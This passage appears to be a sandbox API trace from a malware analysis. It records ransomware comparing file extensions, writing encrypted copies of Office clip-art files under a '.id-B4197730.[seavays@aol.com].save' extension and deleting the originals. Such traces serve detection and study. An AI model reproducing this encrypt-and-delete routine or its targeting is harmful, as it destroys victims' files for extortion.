5 [0064.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.583] lstrlenW (lpString=".ppt") returned 4 [0064.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.584] lstrlenW (lpString=".zip") returned 4 [0064.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.584] lstrlenW (lpString=".rar") returned 4 [0064.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.584] lstrlenW (lpString=".bz2") returned 4 [0064.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.584] lstrlenW (lpString=".7z") returned 3 [0064.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.584] lstrlenW (lpString=".dbf") returned 4 [0064.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.584] lstrlenW (lpString=".1cd") returned 4 [0064.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0064.584] lstrlenW (lpString=".jpg") returned 4 [0064.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.584] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.584] lstrlenW (lpString="BD07804_.WMF") returned 12 [0064.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.585] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=4924) returned 1 [0064.585] CloseHandle (hObject=0x2c0) returned 1 [0064.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0064.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0064.585] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.585] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0064.586] GetLastError () returned 0x0 [0064.586] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x133c, lpOverlapped=0x0) returned 1 [0064.587] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1340, lpOverlapped=0x0) returned 1 [0064.588] ReadFile (in: hFile=0x2c0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.588] WriteFile (in: hFile=0x380, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0064.588] SetEndOfFile (hFile=0x380) returned 1 [0064.589] CloseHandle (hObject=0x380) returned 1 [0064.590] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.590] SetEndOfFile (hFile=0x2c0) returned 1 [0064.591] CloseHandle (hObject=0x2c0) returned 1 [0064.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0064.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.591] lstrlenW (lpString=".doc") returned 4 [0064.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString=".docx") returned 5 [0064.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.592] lstrlenW (lpString=".pdf") returned 4 [0064.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString=".xls") returned 4 [0064.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.592] lstrlenW (lpString=".xlsx") returned 5 [0064.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.592] lstrlenW (lpString=".ppt") returned 4 [0064.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.592] lstrlenW (lpString=".zip") returned 4 [0064.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.592] lstrlenW (lpString=".rar") returned 4 [0064.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString=".bz2") returned 4 [0064.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString=".7z") returned 3 [0064.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.592] lstrlenW (lpString=".dbf") returned 4 [0064.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.592] lstrlenW (lpString=".1cd") returned 4 [0064.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.592] lstrlenW (lpString=".jpg") returned 4 [0064.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0064.593] lstrlenW (lpString=".doc") returned 4 [0064.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.593] lstrlenW (lpString=".docx") returned 5 [0064.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.593] lstrlenW (lpString=".pdf") returned 4 [0064.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.593] lstrlenW (lpString=".xls") returned 4 [0064.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.593] lstrlenW (lpString=".xlsx") returned 5 [0065.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.029] lstrlenW (lpString=".ppt") returned 4 [0065.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0065.029] lstrlenW (lpString=".zip") returned 4 [0065.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.029] lstrlenW (lpString=".rar") returned 4 [0065.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.029] lstrlenW (lpString=".bz2") returned 4 [0065.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.029] lstrlenW (lpString=".7z") returned 3 [0065.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0065.029] lstrlenW (lpString=".dbf") returned 4 [0065.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0065.029] lstrlenW (lpString=".1cd") returned 4 [0065.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0065.029] lstrlenW (lpString=".jpg") returned 4 [0065.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.030] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0065.030] lstrlenW (lpString="BD09662_.WMF") returned 12 [0065.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.561] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20554) returned 1 [0065.561] CloseHandle (hObject=0x37c) returned 1 [0065.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0065.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.562] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.562] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.563] GetLastError () returned 0x0 [0065.563] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x504a, lpOverlapped=0x0) returned 1 [0065.565] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x5050, lpOverlapped=0x0) returned 1 [0065.567] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.567] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.567] SetEndOfFile (hFile=0x2ec) returned 1 [0065.567] CloseHandle (hObject=0x2ec) returned 1 [0065.569] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.569] SetEndOfFile (hFile=0x37c) returned 1 [0065.570] CloseHandle (hObject=0x37c) returned 1 [0065.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0065.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.571] lstrlenW (lpString=".doc") returned 4 [0065.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.571] lstrlenW (lpString=".docx") returned 5 [0065.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.571] lstrlenW (lpString=".pdf") returned 4 [0065.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString=".xls") returned 4 [0065.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.572] lstrlenW (lpString=".xlsx") returned 5 [0065.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.572] lstrlenW (lpString=".ppt") returned 4 [0065.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.572] lstrlenW (lpString=".zip") returned 4 [0065.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.572] lstrlenW (lpString=".rar") returned 4 [0065.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString=".bz2") returned 4 [0065.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString=".7z") returned 3 [0065.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.572] lstrlenW (lpString=".dbf") returned 4 [0065.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.572] lstrlenW (lpString=".1cd") returned 4 [0065.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.572] lstrlenW (lpString=".jpg") returned 4 [0065.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.573] lstrlenW (lpString=".doc") returned 4 [0065.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString=".docx") returned 5 [0065.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.573] lstrlenW (lpString=".pdf") returned 4 [0065.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString=".xls") returned 4 [0065.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.573] lstrlenW (lpString=".xlsx") returned 5 [0065.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.573] lstrlenW (lpString=".ppt") returned 4 [0065.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.573] lstrlenW (lpString=".zip") returned 4 [0065.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.573] lstrlenW (lpString=".rar") returned 4 [0065.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString=".bz2") returned 4 [0065.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString=".7z") returned 3 [0065.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.573] lstrlenW (lpString=".dbf") returned 4 [0065.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.574] lstrlenW (lpString=".1cd") returned 4 [0065.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0065.574] lstrlenW (lpString=".jpg") returned 4 [0065.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.574] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0065.574] lstrlenW (lpString="BD10890_.GIF") returned 12 [0065.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.575] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=13515) returned 1 [0065.575] CloseHandle (hObject=0x37c) returned 1 [0065.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0065.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0065.576] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.576] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0065.576] GetLastError () returned 0x0 [0065.576] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x34cb, lpOverlapped=0x0) returned 1 [0065.578] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x34d0, lpOverlapped=0x0) returned 1 [0065.580] ReadFile (in: hFile=0x37c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.580] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0065.580] SetEndOfFile (hFile=0x2ec) returned 1 [0065.580] CloseHandle (hObject=0x2ec) returned 1 [0065.583] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.583] SetEndOfFile (hFile=0x37c) returned 1 [0065.584] CloseHandle (hObject=0x37c) returned 1 [0065.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0065.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.585] lstrlenW (lpString=".doc") returned 4 [0065.585] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.585] lstrlenW (lpString=".docx") returned 5 [0065.585] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.585] lstrlenW (lpString=".pdf") returned 4 [0065.585] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.585] lstrlenW (lpString=".xls") returned 4 [0065.585] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.585] lstrlenW (lpString=".xlsx") returned 5 [0065.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.585] lstrlenW (lpString=".ppt") returned 4 [0065.585] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.585] lstrlenW (lpString=".zip") returned 4 [0065.585] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.585] lstrlenW (lpString=".rar") returned 4 [0065.585] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0065.585] lstrlenW (lpString=".bz2") returned 4 [0065.585] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0065.585] lstrlenW (lpString=".7z") returned 3 [0065.585] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0065.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.585] lstrlenW (lpString=".dbf") returned 4 [0065.585] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0065.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString=".1cd") returned 4 [0065.586] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString=".jpg") returned 4 [0065.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString=".doc") returned 4 [0065.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0065.586] lstrlenW (lpString=".docx") returned 5 [0065.586] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0065.586] lstrlenW (lpString=".pdf") returned 4 [0065.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString=".xls") returned 4 [0065.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString=".xlsx") returned 5 [0065.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0065.586] lstrlenW (lpString=".ppt") returned 4 [0065.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0065.586] lstrlenW (lpString=".zip") returned 4 [0065.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0065.586] lstrlenW (lpString=".rar") returned 4 [0065.586] lstrcmpiW 